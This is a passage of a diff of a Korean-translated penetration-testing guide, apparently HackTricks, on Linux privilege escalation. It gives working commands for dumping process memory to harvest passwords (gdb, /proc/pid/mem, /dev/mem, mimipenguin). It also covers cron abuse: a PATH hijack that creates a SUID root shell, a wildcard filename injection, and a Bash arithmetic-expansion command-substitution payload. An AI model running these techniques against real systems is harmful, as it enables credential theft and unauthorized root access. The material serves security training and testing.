[**pspy**](https://github.com/DominicBreuker/pspy) ๊ฐ™์€ ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ์ทจ์•ฝํ•œ ํ”„๋กœ์„ธ์Šค๊ฐ€ ์ž์ฃผ ์‹คํ–‰๋˜๊ฑฐ๋‚˜ ํŠน์ • ์กฐ๊ฑด์„ ๋งŒ์กฑํ•  ๋•Œ ์ด๋ฅผ ์‹๋ณ„ํ•˜๋Š” ๋ฐ ๋งค์šฐ ์œ ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -### ํ”„๋กœ์„ธ์Šค ๋ฉ”๋ชจ๋ฆฌ +### Process memory -์„œ๋ฒ„์˜ ์ผ๋ถ€ ์„œ๋น„์Šค๋Š” **credentials in clear text inside the memory**๋ฅผ ์ €์žฅํ•ฉ๋‹ˆ๋‹ค.\ -์ผ๋ฐ˜์ ์œผ๋กœ ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž์— ์†ํ•œ ํ”„๋กœ์„ธ์Šค์˜ ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ์ฝ์œผ๋ ค๋ฉด **root privileges**๊ฐ€ ํ•„์š”ํ•˜๋ฏ€๋กœ, ์ด๋Š” ๋ณดํ†ต ์ด๋ฏธ root์ธ ์ƒํƒœ์—์„œ ์ถ”๊ฐ€ ์ž๊ฒฉ์ฆ๋ช…์„ ์ฐพ์„ ๋•Œ ๋” ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค.\ -๊ทธ๋Ÿฌ๋‚˜ **์ผ๋ฐ˜ ์‚ฌ์šฉ์ž๋กœ์„œ ์ž์‹ ์ด ์†Œ์œ ํ•œ ํ”„๋กœ์„ธ์Šค์˜ ๋ฉ”๋ชจ๋ฆฌ๋Š” ์ฝ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**๋ฅผ ๊ธฐ์–ตํ•˜์„ธ์š”. +์ผ๋ถ€ ์„œ๋ฒ„ ์„œ๋น„์Šค๋Š” **๋ฉ”๋ชจ๋ฆฌ ๋‚ด์— ํ‰๋ฌธ์œผ๋กœ credentials๋ฅผ ์ €์žฅ**ํ•ฉ๋‹ˆ๋‹ค.\ +๋ณดํ†ต ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž๊ฐ€ ์†Œ์œ ํ•œ ํ”„๋กœ์„ธ์Šค์˜ ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ์ฝ์œผ๋ ค๋ฉด **root ๊ถŒํ•œ**์ด ํ•„์š”ํ•˜๋ฏ€๋กœ, ์ด๋Š” ๋ณดํ†ต ์ด๋ฏธ root์ธ ์ƒํƒœ์—์„œ ์ถ”๊ฐ€ ์ž๊ฒฉ์ฆ๋ช…์„ ์ฐพ์„ ๋•Œ ๋” ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค.\ +ํ•˜์ง€๋งŒ, ์ผ๋ฐ˜ ์‚ฌ์šฉ์ž๋กœ์„œ ์ž์‹ ์ด ์†Œ์œ ํ•œ ํ”„๋กœ์„ธ์Šค์˜ ๋ฉ”๋ชจ๋ฆฌ๋Š” ์ฝ์„ ์ˆ˜ ์žˆ๋‹ค๋Š” ์ ์„ ๊ธฐ์–ตํ•˜์„ธ์š”. > [!WARNING] > Note that nowadays most machines **don't allow ptrace by default** which means that you cannot dump other processes that belong to your unprivileged user. @@ -193,7 +193,7 @@ top -n 1 #### GDB -์˜ˆ๋ฅผ ๋“ค์–ด FTP ์„œ๋น„์Šค์˜ ๋ฉ”๋ชจ๋ฆฌ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด Heap์„ ํš๋“ํ•ด ๊ทธ ๋‚ด๋ถ€์˜ credentials๋ฅผ ๊ฒ€์ƒ‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +์˜ˆ๋ฅผ ๋“ค์–ด FTP ์„œ๋น„์Šค์˜ ๋ฉ”๋ชจ๋ฆฌ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, Heap์„ ํš๋“ํ•˜์—ฌ ๊ทธ ์•ˆ์—์„œ ์ž๊ฒฉ์ฆ๋ช…์„ ๊ฒ€์ƒ‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ```bash gdb -p (gdb) info proc mappings @@ -202,7 +202,7 @@ gdb -p (gdb) q strings /tmp/mem_ftp #User and password ``` -#### GDB ์Šคํฌ๋ฆฝํŠธ +#### GDB Script ```bash:dump-memory.sh #!/bin/bash #./dump-memory.sh @@ -215,10 +215,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -์ง€์ •๋œ ํ”„๋กœ์„ธ์Šค ID์— ๋Œ€ํ•ด, **maps๋Š” ํ•ด๋‹น ํ”„๋กœ์„ธ์Šค์˜ ๋ฉ”๋ชจ๋ฆฌ๊ฐ€ ๊ฐ€์ƒ ์ฃผ์†Œ ๊ณต๊ฐ„์— ์–ด๋–ป๊ฒŒ ๋งคํ•‘๋˜์–ด ์žˆ๋Š”์ง€** ๋ณด์—ฌ์ฃผ๋ฉฐ; ๋˜ํ•œ **๊ฐ ๋งคํ•‘ ์˜์—ญ์˜ ๊ถŒํ•œ**์„ ํ‘œ์‹œํ•ฉ๋‹ˆ๋‹ค. -**mem** ์˜์‚ฌ ํŒŒ์ผ์€ **ํ”„๋กœ์„ธ์Šค์˜ ๋ฉ”๋ชจ๋ฆฌ ์ž์ฒด๋ฅผ ๋…ธ์ถœํ•ฉ๋‹ˆ๋‹ค**. -**maps** ํŒŒ์ผ์—์„œ ์–ด๋–ค **๋ฉ”๋ชจ๋ฆฌ ์˜์—ญ์ด ์ฝ์„ ์ˆ˜ ์žˆ๋Š”์ง€**์™€ ํ•ด๋‹น ์˜คํ”„์…‹์„ ์•Œ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -์šฐ๋ฆฌ๋Š” ์ด ์ •๋ณด๋ฅผ ์‚ฌ์šฉํ•ด **mem ํŒŒ์ผ์„ ํƒ์ƒ‰ํ•˜์—ฌ ๋ชจ๋“  ์ฝ์„ ์ˆ˜ ์žˆ๋Š” ์˜์—ญ์„ ๋คํ”„**ํ•˜์—ฌ ํŒŒ์ผ๋กœ ์ €์žฅํ•ฉ๋‹ˆ๋‹ค. +์ฃผ์–ด์ง„ ํ”„๋กœ์„ธ์Šค ID์— ๋Œ€ํ•ด, **maps๋Š” ํ•ด๋‹น ํ”„๋กœ์„ธ์Šค ๋‚ด์—์„œ ๋ฉ”๋ชจ๋ฆฌ๊ฐ€ ์–ด๋–ป๊ฒŒ ๋งคํ•‘๋˜๋Š”์ง€ ๋ณด์—ฌ์ค€๋‹ค** ๊ฐ€์ƒ ์ฃผ์†Œ ๊ณต๊ฐ„; ๋˜ํ•œ **๊ฐ ๋งคํ•‘๋œ ์˜์—ญ์˜ ๊ถŒํ•œ**์„ ํ‘œ์‹œํ•œ๋‹ค. ์ด **mem** ์˜์‚ฌ ํŒŒ์ผ์€ **ํ”„๋กœ์„ธ์Šค์˜ ๋ฉ”๋ชจ๋ฆฌ ์ž์ฒด๋ฅผ ๋…ธ์ถœํ•œ๋‹ค**. ํ•ด๋‹น **maps** ํŒŒ์ผ์—์„œ ์šฐ๋ฆฌ๋Š” ์–ด๋–ค **๋ฉ”๋ชจ๋ฆฌ ์˜์—ญ๋“ค์ด ์ฝ์„ ์ˆ˜ ์žˆ๋Š”์ง€**์™€ ๊ทธ ์˜คํ”„์…‹์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค. ์šฐ๋ฆฌ๋Š” ์ด ์ •๋ณด๋ฅผ ์‚ฌ์šฉํ•ด **mem ํŒŒ์ผ์—์„œ ์˜คํ”„์…‹์œผ๋กœ ์ด๋™(seek)ํ•˜์—ฌ ์ฝ์„ ์ˆ˜ ์žˆ๋Š” ๋ชจ๋“  ์˜์—ญ์„ ํŒŒ์ผ๋กœ ๋คํ”„ํ•œ๋‹ค**. ```bash procdump() ( @@ -233,15 +230,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem`์€ ์‹œ์Šคํ…œ์˜ **๋ฌผ๋ฆฌ์ ** ๋ฉ”๋ชจ๋ฆฌ์— ๋Œ€ํ•œ ์ ‘๊ทผ์„ ์ œ๊ณตํ•˜๋ฉฐ, ๊ฐ€์ƒ ๋ฉ”๋ชจ๋ฆฌ์—๋Š” ํ•ด๋‹นํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์ปค๋„์˜ ๊ฐ€์ƒ ์ฃผ์†Œ ๊ณต๊ฐ„์€ /dev/kmem์„ ์‚ฌ์šฉํ•˜์—ฌ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.\ - -์ผ๋ฐ˜์ ์œผ๋กœ `/dev/mem`์€ **root** ๋ฐ **kmem** ๊ทธ๋ฃน๋งŒ ์ฝ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +`/dev/mem`๋Š” ์‹œ์Šคํ…œ์˜ **๋ฌผ๋ฆฌ์ ** ๋ฉ”๋ชจ๋ฆฌ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ฃผ๋ฉฐ, ๊ฐ€์ƒ ๋ฉ”๋ชจ๋ฆฌ๋Š” ์•„๋‹™๋‹ˆ๋‹ค. ์ปค๋„์˜ ๊ฐ€์ƒ ์ฃผ์†Œ ๊ณต๊ฐ„์€ /dev/kmem์„ ์‚ฌ์šฉํ•ด ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.\ +์ผ๋ฐ˜์ ์œผ๋กœ, `/dev/mem`์€ **root** ๋ฐ **kmem** ๊ทธ๋ฃน๋งŒ ์ฝ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ``` strings /dev/mem -n10 | grep -i PASS ``` -### ProcDump for linux +### ProcDump Linux์šฉ -ProcDump๋Š” Windows์šฉ Sysinternals ๋„๊ตฌ ๋ชจ์Œ์— ์žˆ๋Š” ๊ณ ์ „์ ์ธ ProcDump ๋„๊ตฌ๋ฅผ Linux์šฉ์œผ๋กœ ์žฌ๊ตฌ์ƒํ•œ ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๋‹ค์Œ์—์„œ ๊ตฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump์€ Windows์šฉ Sysinternals ํˆด ๋ชจ์Œ์˜ ํด๋ž˜์‹ ProcDump ๋„๊ตฌ๋ฅผ Linux์šฉ์œผ๋กœ ์žฌ๊ตฌํ˜„ํ•œ ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๋‹ค์Œ์—์„œ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -273,37 +269,37 @@ Press Ctrl-C to end monitoring without terminating the process. ํ”„๋กœ์„ธ์Šค ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ๋คํ”„ํ•˜๋ ค๋ฉด ๋‹ค์Œ์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_์ˆ˜๋™์œผ๋กœ root ์š”๊ตฌ์‚ฌํ•ญ์„ ์ œ๊ฑฐํ•˜๊ณ  ๋ณธ์ธ์ด ์†Œ์œ ํ•œ ํ”„๋กœ์„ธ์Šค๋ฅผ ๋คํ”„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค -- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root ๊ถŒํ•œ ํ•„์š”) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_root ์š”๊ตฌ์‚ฌํ•ญ์„ ์ˆ˜๋™์œผ๋กœ ์ œ๊ฑฐํ•˜์—ฌ ์ž์‹ ์ด ์†Œ์œ ํ•œ ํ”„๋กœ์„ธ์Šค๋ฅผ ๋คํ”„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค +- Script A.5๋Š” [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf)์—์„œ (root ๊ถŒํ•œ์ด ํ•„์š”ํ•จ) -### ํ”„๋กœ์„ธ์Šค ๋ฉ”๋ชจ๋ฆฌ์—์„œ ์ž๊ฒฉ ์ฆ๋ช… +### ํ”„๋กœ์„ธ์Šค ๋ฉ”๋ชจ๋ฆฌ์—์„œ์˜ ์ž๊ฒฉ ์ฆ๋ช… -#### ์ˆ˜๋™ ์˜ˆ์ œ +#### ์ˆ˜๋™ ์˜ˆ์‹œ -authenticator ํ”„๋กœ์„ธ์Šค๊ฐ€ ์‹คํ–‰ ์ค‘์ด๋ผ๋ฉด: +authenticator ํ”„๋กœ์„ธ์Šค๊ฐ€ ์‹คํ–‰ ์ค‘์ด๋ฉด: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -process๋ฅผ dumpํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (์•ž ์„น์…˜์„ ์ฐธ์กฐํ•ด process์˜ memory๋ฅผ dumpํ•˜๋Š” ์—ฌ๋Ÿฌ ๋ฐฉ๋ฒ•์„ ํ™•์ธํ•˜์„ธ์š”) ๊ทธ๋ฆฌ๊ณ  memory ์•ˆ์—์„œ credentials๋ฅผ ๊ฒ€์ƒ‰ํ•˜์„ธ์š”: +process๋ฅผ dumpํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ (์ด์ „ ์„น์…˜์„ ์ฐธ์กฐํ•˜์—ฌ process์˜ memory๋ฅผ dumpํ•˜๋Š” ๋‹ค์–‘ํ•œ ๋ฐฉ๋ฒ•์„ ํ™•์ธํ•˜์„ธ์š”) memory ์•ˆ์—์„œ credentials๋ฅผ ๊ฒ€์ƒ‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -์ด ๋„๊ตฌ [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin)์€ ๋ฉ”๋ชจ๋ฆฌ์—์„œ **ํ‰๋ฌธ ์ž๊ฒฉ ์ฆ๋ช… (clear text credentials)**๊ณผ ์ผ๋ถ€ **์ž˜ ์•Œ๋ ค์ง„ ํŒŒ์ผ**์—์„œ ์ž๊ฒฉ ์ฆ๋ช…์„ ํ›”์นฉ๋‹ˆ๋‹ค. ์ œ๋Œ€๋กœ ์ž‘๋™ํ•˜๋ ค๋ฉด root ๊ถŒํ•œ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. +The tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin)๋Š” **๋ฉ”๋ชจ๋ฆฌ์—์„œ clear text credentials๋ฅผ ํ›”์นฉ๋‹ˆ๋‹ค** ๊ทธ๋ฆฌ๊ณ  ์ผ๋ถ€ **์ž˜ ์•Œ๋ ค์ง„ ํŒŒ์ผ**์—์„œ๋„ ๊ฐ€์ ธ์˜ต๋‹ˆ๋‹ค. ์ •์ƒ์ ์œผ๋กœ ์ž‘๋™ํ•˜๋ ค๋ฉด root ๊ถŒํ•œ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. | ๊ธฐ๋Šฅ | ํ”„๋กœ์„ธ์Šค ์ด๋ฆ„ | | ------------------------------------------------- | -------------------- | -| GDM ๋น„๋ฐ€๋ฒˆํ˜ธ (Kali Desktop, Debian Desktop) | gdm-password | +| GDM password (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | | LightDM (Ubuntu Desktop) | lightdm | -| VSFTPd (ํ™œ์„ฑ FTP ์—ฐ๊ฒฐ) | vsftpd | -| Apache2 (ํ™œ์„ฑ HTTP Basic Auth ์„ธ์…˜) | apache2 | -| OpenSSH (ํ™œ์„ฑ SSH ์„ธ์…˜ - sudo ์‚ฌ์šฉ) | sshd: | +| VSFTPd (Active FTP Connections) | vsftpd | +| Apache2 (Active HTTP Basic Auth Sessions) | apache2 | +| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | -#### ๊ฒ€์ƒ‰ ์ •๊ทœ์‹/[truffleproc](https://github.com/controlplaneio/truffleproc) +#### ๊ฒ€์ƒ‰ Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash # un truffleproc.sh against your current Bash shell (e.g. $$) ./truffleproc.sh $$ @@ -317,36 +313,36 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## Scheduled/Cron jobs +## ์˜ˆ์•ฝ๋œ/Cron ์ž‘์—… -์˜ˆ์•ฝ๋œ ์ž‘์—…์ด ์ทจ์•ฝํ•œ์ง€ ํ™•์ธํ•˜์„ธ์š”. root์— ์˜ํ•ด ์‹คํ–‰๋˜๋Š” ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์ด์šฉํ•  ์ˆ˜ ์žˆ์„์ง€ ๊ฒ€ํ† ํ•ด๋ณด์„ธ์š” (wildcard vuln? root๊ฐ€ ์‚ฌ์šฉํ•˜๋Š” ํŒŒ์ผ์„ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๋‚˜? symlinks ์‚ฌ์šฉ? root๊ฐ€ ์‚ฌ์šฉํ•˜๋Š” ๋””๋ ‰ํ„ฐ๋ฆฌ์— ํŠน์ • ํŒŒ์ผ์„ ์ƒ์„ฑ?). +์˜ˆ์•ฝ๋œ ์ž‘์—… ์ค‘ ์ทจ์•ฝํ•œ ๊ฒƒ์ด ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”. root๊ฐ€ ์‹คํ–‰ํ•˜๋Š” ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์ด์šฉํ•  ์ˆ˜ ์žˆ์„์ง€๋„ ๋ชจ๋ฆ…๋‹ˆ๋‹ค (wildcard vuln? root๊ฐ€ ์‚ฌ์šฉํ•˜๋Š” ํŒŒ์ผ์„ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๋‚˜? symlinks๋ฅผ ์‚ฌ์šฉํ•˜๋‚˜? root๊ฐ€ ์‚ฌ์šฉํ•˜๋Š” ๋””๋ ‰ํ„ฐ๋ฆฌ์— ํŠน์ • ํŒŒ์ผ์„ ์ƒ์„ฑํ•˜๋‚˜?). ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` -### Cron ๊ฒฝ๋กœ +### Cron path -์˜ˆ๋ฅผ ๋“ค์–ด, _/etc/crontab_ ์•ˆ์—์„œ ๋‹ค์Œ๊ณผ ๊ฐ™์€ PATH๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ +์˜ˆ๋ฅผ ๋“ค์–ด, _/etc/crontab_ ์•ˆ์—์„œ ๋‹ค์Œ๊ณผ ๊ฐ™์€ PATH๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ๋‹ค: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_user ์‚ฌ์šฉ์ž๊ฐ€ /home/user์— ๋Œ€ํ•ด ์“ฐ๊ธฐ ๊ถŒํ•œ์„ ๊ฐ€์ง€๊ณ  ์žˆ๋Š” ๊ฒƒ์— ์ฃผ๋ชฉํ•˜์„ธ์š”_) +(_"user" ์‚ฌ์šฉ์ž๊ฐ€ /home/user์— ์“ฐ๊ธฐ ๊ถŒํ•œ์„ ๊ฐ€์ง€๊ณ  ์žˆ๋Š” ์ ์— ์ฃผ๋ชฉํ•˜์„ธ์š”_) -์ด crontab ์•ˆ์—์„œ root ์‚ฌ์šฉ์ž๊ฐ€ PATH๋ฅผ ์„ค์ •ํ•˜์ง€ ์•Š์€ ์ฑ„ ์–ด๋–ค ๋ช…๋ น์–ด๋‚˜ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•˜๋ ค๊ณ  ํ•˜๋ฉด. ์˜ˆ๋ฅผ ๋“ค์–ด: _\* \* \* \* root overwrite.sh_\ -๊ทธ๋Ÿผ ๋‹ค์Œ์„ ์‚ฌ์šฉํ•ด ๋ฃจํŠธ ์‰˜์„ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +์ด crontab ์•ˆ์—์„œ root ์‚ฌ์šฉ์ž๊ฐ€ PATH๋ฅผ ์„ค์ •ํ•˜์ง€ ์•Š๊ณ  ์–ด๋–ค ๋ช…๋ น์ด๋‚˜ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•˜๋ ค๊ณ  ํ•œ๋‹ค๋ฉด. ์˜ˆ๋ฅผ ๋“ค์–ด: _\* \* \* \* root overwrite.sh_\ +๊ทธ๋Ÿผ, ๋‹ค์Œ์„ ์‚ฌ์šฉํ•˜์—ฌ root shell์„ ์–ป์„ ์ˆ˜ ์žˆ๋‹ค: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron์ด ์™€์ผ๋“œ์นด๋“œ๊ฐ€ ํฌํ•จ๋œ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‚ฌ์šฉํ•  ๋•Œ (Wildcard Injection) +### ์™€์ผ๋“œ์นด๋“œ๊ฐ€ ์žˆ๋Š” ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‚ฌ์šฉํ•˜๋Š” Cron (Wildcard Injection) -root๋กœ ์‹คํ–‰๋˜๋Š” ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ๋ช…๋ น ์•ˆ์— โ€œ**\***โ€๋ฅผ ํฌํ•จํ•˜๊ณ  ์žˆ๋‹ค๋ฉด, ์ด๋ฅผ ์•…์šฉํ•ด ์˜ˆ์ƒ์น˜ ๋ชปํ•œ ๋™์ž‘(์˜ˆ: privesc)์„ ์œ ๋ฐœํ•  ์ˆ˜ ์žˆ๋‹ค. ์˜ˆ์‹œ: +root๋กœ ์‹คํ–‰๋˜๋Š” ์Šคํฌ๋ฆฝํŠธ์— ๋ช…๋ น์–ด ์ค‘ โ€œ**\***โ€๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์œผ๋ฉด, ์ด๋ฅผ ์ด์šฉํ•ด ์˜ˆ์ƒ์น˜ ๋ชปํ•œ ๋™์ž‘(์˜ˆ: privesc)์„ ์œ ๋ฐœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**๋งŒ์•ฝ wildcard๊ฐ€ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๊ฒฝ๋กœ ์•ž์— ์˜ค๋ฉด** _**/some/path/\***_ **, ์ทจ์•ฝํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค (์‹ฌ์ง€์–ด** _**./\***_ **๋„ ์•„๋‹™๋‹ˆ๋‹ค).** +**์™€์ผ๋“œ์นด๋“œ๊ฐ€ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๊ฒฝ๋กœ ์•ž์— ์žˆ์„ ๊ฒฝ์šฐ** _**/some/path/\***_ **์ทจ์•ฝํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค (์‹ฌ์ง€์–ด** _**./\***_ **๋„ ์ทจ์•ฝํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค).** -๋‹ค์Œ ํŽ˜์ด์ง€์—์„œ ์ถ”๊ฐ€์ ์ธ wildcard exploitation ํŠธ๋ฆญ์„ ์ฝ์–ด๋ณด์„ธ์š”: +Read the following page for more wildcard exploitation tricks: {{#ref}} @@ -354,11 +350,11 @@ wildcards-spare-tricks.md {{#endref}} -### Bash arithmetic expansion injection in cron log parsers +### cron ๋กœ๊ทธ ํŒŒ์„œ์—์„œ์˜ Bash arithmetic expansion injection -Bash๋Š” ((...)), $((...)) ๋ฐ let์—์„œ ์‚ฐ์ˆ  ํ‰๊ฐ€ ์ „์— parameter expansion๊ณผ command substitution์„ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค. ๋งŒ์•ฝ root cron/parser๊ฐ€ ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ๋กœ๊ทธ ํ•„๋“œ๋ฅผ ์ฝ์–ด ์‚ฐ์ˆ  ์ปจํ…์ŠคํŠธ๋กœ ์ „๋‹ฌํ•˜๋ฉด, ๊ณต๊ฒฉ์ž๋Š” cron์ด ์‹คํ–‰๋  ๋•Œ root๋กœ ์‹คํ–‰๋˜๋Š” $(...) ํ˜•ํƒœ์˜ command substitution์„ ์ฃผ์ž…ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +Bash๋Š” ((...)), $((...)) ๋ฐ let์—์„œ ์‚ฐ์ˆ  ํ‰๊ฐ€ ์ „์— parameter expansion๊ณผ command substitution์„ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค. ๋งŒ์•ฝ root cron/parser๊ฐ€ ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ๋กœ๊ทธ ํ•„๋“œ๋ฅผ ์ฝ์–ด ์ด๋ฅผ ์‚ฐ์ˆ  ์ปจํ…์ŠคํŠธ์— ์ „๋‹ฌํ•œ๋‹ค๋ฉด, ๊ณต๊ฒฉ์ž๋Š” cron์ด ์‹คํ–‰๋  ๋•Œ root๋กœ ์‹คํ–‰๋˜๋Š” command substitution $(...)์„ ์ฃผ์ž…ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -- Why it works: Bash์—์„œ ํ™•์žฅ์€ ๋‹ค์Œ ์ˆœ์„œ๋กœ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค: parameter/variable expansion, command substitution, arithmetic expansion, ๊ทธ ๋‹ค์Œ์œผ๋กœ word splitting๊ณผ pathname expansion. ๋”ฐ๋ผ์„œ `$(/bin/bash -c 'id > /tmp/pwn')0` ๊ฐ™์€ ๊ฐ’์€ ๋จผ์ € ์น˜ํ™˜๋˜์–ด(๋ช…๋ น์ด ์‹คํ–‰๋จ), ๋‚จ์€ ์ˆซ์ž `0`์ด ์‚ฐ์ˆ ์— ์‚ฌ์šฉ๋˜์–ด ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์˜ค๋ฅ˜ ์—†์ด ๊ณ„์†๋ฉ๋‹ˆ๋‹ค. +- Why it works: Bash์—์„œ๋Š” ํ™•์žฅ์ด ๋‹ค์Œ ์ˆœ์„œ๋กœ ์ผ์–ด๋‚ฉ๋‹ˆ๋‹ค: parameter/variable expansion, command substitution, arithmetic expansion, ๊ทธ๋‹ค์Œ์— word splitting ๋ฐ pathname expansion. ๋”ฐ๋ผ์„œ `$(/bin/bash -c 'id > /tmp/pwn')0` ๊ฐ™์€ ๊ฐ’์€ ๋จผ์ € substitution๋˜์–ด(๋ช…๋ น์ด ์‹คํ–‰๋จ), ๋‚จ์€ ์ˆซ์ž `0`๊ฐ€ ์‚ฐ์ˆ ์— ์‚ฌ์šฉ๋˜์–ด ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์˜ค๋ฅ˜ ์—†์ด ๊ณ„์†๋ฉ๋‹ˆ๋‹ค. - Typical vulnerable pattern: ```bash @@ -370,7 +366,7 @@ while IFS=',' read -r ts user count rest; do done < /var/www/app/log/application.log ``` -- Exploitation: ํŒŒ์‹ฑ๋˜๋Š” ๋กœ๊ทธ์— ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ํ…์ŠคํŠธ๋ฅผ ๊ธฐ๋กํ•˜๋„๋ก ํ•ด์„œ, ์ˆซ์ž์ฒ˜๋Ÿผ ๋ณด์ด๋Š” ํ•„๋“œ์— command substitution์ด ํฌํ•จ๋˜๊ณ  ๋์ด ์ˆซ์ž์ด๋„๋ก ๋งŒ๋“œ์„ธ์š”. ๋ช…๋ น์ด stdout์— ์ถœ๋ ฅ๋˜์ง€ ์•Š๋„๋ก(๋˜๋Š” ๋ฆฌ๋‹ค์ด๋ ‰ํŠธ) ํ•˜์—ฌ ์‚ฐ์ˆ  ์—ฐ์‚ฐ์ด ์œ ํšจํ•˜๊ฒŒ ์œ ์ง€๋˜๋„๋ก ํ•˜์„ธ์š”. +- Exploitation: ํŒŒ์‹ฑ๋˜๋Š” ๋กœ๊ทธ์— ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ํ…์ŠคํŠธ๋ฅผ ๊ธฐ๋กํ•˜๊ฒŒ 